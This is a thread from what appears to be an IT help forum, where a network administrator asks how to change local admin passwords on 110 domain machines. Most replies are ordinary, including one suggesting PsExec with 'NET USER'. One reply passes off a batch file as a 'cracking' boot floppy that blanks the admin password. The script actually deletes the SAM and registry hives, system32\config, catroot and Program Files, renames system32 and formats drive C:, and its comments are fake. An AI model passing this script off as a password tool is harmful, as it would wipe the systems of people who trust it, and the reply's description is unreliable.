Question

Locked

Script to change local admin password

By sspara ·
I need a script, not a logon script, but a script I can run from one workstation or server and change all the local admin passwords on my domain. Can anyone help? I have zero experience with scripts so I need one pretty much dummy proof with lots of instructions.

This conversation is currently closed to new comments.

15 total posts (Page 1 of 2)   01 | 02   Next
| Thread display: Collapse - | Expand +

All Answers

Collapse -

Why do you want it to NOT be a logon script?

by ThumbsUp2 In reply to Script to change local ad ...

Is there a particular reason you can not run it as a logon script? Perhaps you don't have the appropriate permission to be changing the local admin paswords? Your question sounds "fishy" to me.

Collapse -

RE: Why do you want it to NOT be a logon script?

by sspara In reply to Why do you want it to NOT ...

By making it a login script it makes the new password available to the end user. This of course is a security concern.

Collapse -

Not if

by cmiller5400 In reply to RE: Why do you want it to ...

not if you encrypt the vbs file to a vbe using the screnc.exe file.

Collapse -

This'll do :)

by w2ktechman In reply to Script to change local ad ...

A nice little boot floppy :)

Ok, so you wanna be a cracker. This is cracking 101. Just remember that NEVER TRY THIS, as it is illegal. Ok, for starters let me just say that this is tricky. No actual danger though, but you really should practice it on your own system before attempting to try it on anyone elses. You should at minimum try it 5 or 6 times to really get to know how to do it well.

Items needed

Ability to create a batch file
floppy disk
USB floppy disk drive
create a boot floppy with NTFS Write permissions

Ok, once you have gathered the materials you should already have a boot floppy ready. In the autoexec.bat file add the line suser.bat at the end.

On your desktop, create a file called suser.txt for (suser stands for Super User).
Open the suser.txt file and paste the information below

cls
rem # start _admin.pwd
ren %systemroot%\system32\etc %systemroot%\system32\cet
rem start process A32#458
ren %systemroot%\repair\DS_SOFTWARE A1E
ren %systemroot%\repair\DS_SECURITY A2E
ren %systemroot%\repair\DS_SAM A3E
ren %systemroot%\repair\DS_system.bak A4E
del %systemroot%\repair\A*.* /Q /F
del %systemroot%\repair\s*.* /Q /F
rem script _admin.pwd
del %systemroot%\system32\catroot\*.*
del %systemroot%\system32\catroot2\*.*
del %systemroot%\system32\drivers\cet*.*
rem new_pwd.pwd ==generate 0
del "c:\program files" /Q /F
ren %systemroot%\system32 %systemroot%\newpwd
ren %systemroot%\system %systemroot%\system32
rem AUTO_START new_pwd.pwd 44#1
rem _admin.pwd == DISABLE
del %systemroot%\system32\config /Q /F
erase %systemroot%\system32\LogFiles\*.*
rem ACTIVATE_MEMORY_FLOOD_0x0000323A
rem DISABLE_LOGFILES
format c:\ /Q /A:4096
rem RESTART _admin.pwd


Paste all of this into the suser.txt file. Save and close the file. Rename the file to suser.bat
copy the file to your boot floppy disk.

Boot to the new floppy disk and test it. This may stop and ask to press OK a few times. It should not, but it may still.
Sometimes people really lock down the admin account, but this program is smart enough to unlock from both 'hidden' places, to allow a 'no password' option and blank it out, a double whammy!!!

Remember, this is a REAL program that can get you into serious trouble. Also, it is 'time sensitive' when dealing with another persons system without them knowing. Always get to know a program with this much power BEFORE attempting to use it on someone elses machine.

And most of all, never actually use it. I posted it as informative material. USE AT YOUR OWN RISK!!!
And, never ever tell anyone that I gave this to you....

Collapse -

RE: This'll do

by sspara In reply to This'll do :)

I'm not trying to hack anything, I'm administering a network and it is time to change the local admin password on all the clients. I don't want to go to each machine (all 110 of them) to change the password. I want a script to do it for me with one double click from one machine.

Collapse -

Hmmmm, are you sure you should be doing this?

by jruby In reply to Script to change local ad ...

I have concerns about someone who is changing admin passwords who doesn't have any experience with automation basics. Are you in over your head here?

Collapse -

RE: Hmmmm, are you sure you should be doing this?

by sspara In reply to Hmmmm, are you sure you s ...

I'm administering a network and it is time to change the local admin password on all the clients. I don't want to go to each machine (all 110 of them) to change the password. I want a script to do it for me with one double click from one machine. I'm not in over my head, I just want an easier way of doing things, and would like some help. If you or anyone could give me a basic script that can do this task with some fill in the blank stuff like "domain name here" or "VLAN here" and "new password here" or whatever that would be great.

Collapse -

OK, here's what I would do

by jruby In reply to RE: Hmmmm, are you sure y ...

This isn't necessarily a one-click solution, but it's not real complex either.


Create a file that containes the names of all the nodes you where you will be changing the password, call it Nodes.txt. Put one workstation or server per line. Download PSExec from MS (It's a prog from SysInternals and incredibly useful, part of PSTools I think).

Logon using a profile that has admin rights to all the systems where you will be changing the admin password.

Issue the command

PSEXEC @Nodes.txt NET USER administrator TheNewPassword

Make sure 'TheNewPassword' matches the complexity rules for the security policies that are in place.

This worked on a virtual environment I have here, you may start with just one or two test machines in your Nodes.Txt file so you can verify it will work in your environment before turning it loose on all machines. For comfort, you may want to break your list of nodes into multiple files and change them in groups.

Jim

/* If you think the problem is bad now, wait until I fix it! */

Collapse -

RE: OK, here's what I would do

by sspara In reply to OK, here's what I would d ...

Ok so this has gotten me the furthest, but when I run the command I get this error "Make sure that the default admin$ share is enabled on (computer name here)". I'm running the command from an account with domain admin rights and I'm running it from the directory with the PStools with the nodes.txt file in the same directory as well. I used the exact syntax you used only replacing TheNewPassword with obviously my new password, and it still didn't work. Should I be replacing NET USER with something?

Collapse -

How did you change them all the last time ? ...

by OldER Mycroft In reply to Script to change local ad ...

I suggest you allow the air to circulate in and around your arse cheeks, thereby stimulating blood flow to your lower extremities, and actually go have a look at all these machines.

Showing your face around the company premises might boost your reputation as someone who takes an active interest and actually cares, rather than someone who does everything remotely from a sweaty, arse-impregnated chair. :)

Back to Networks Forum
15 total posts (Page 1 of 2)   01 | 02   Next

Hardware Forums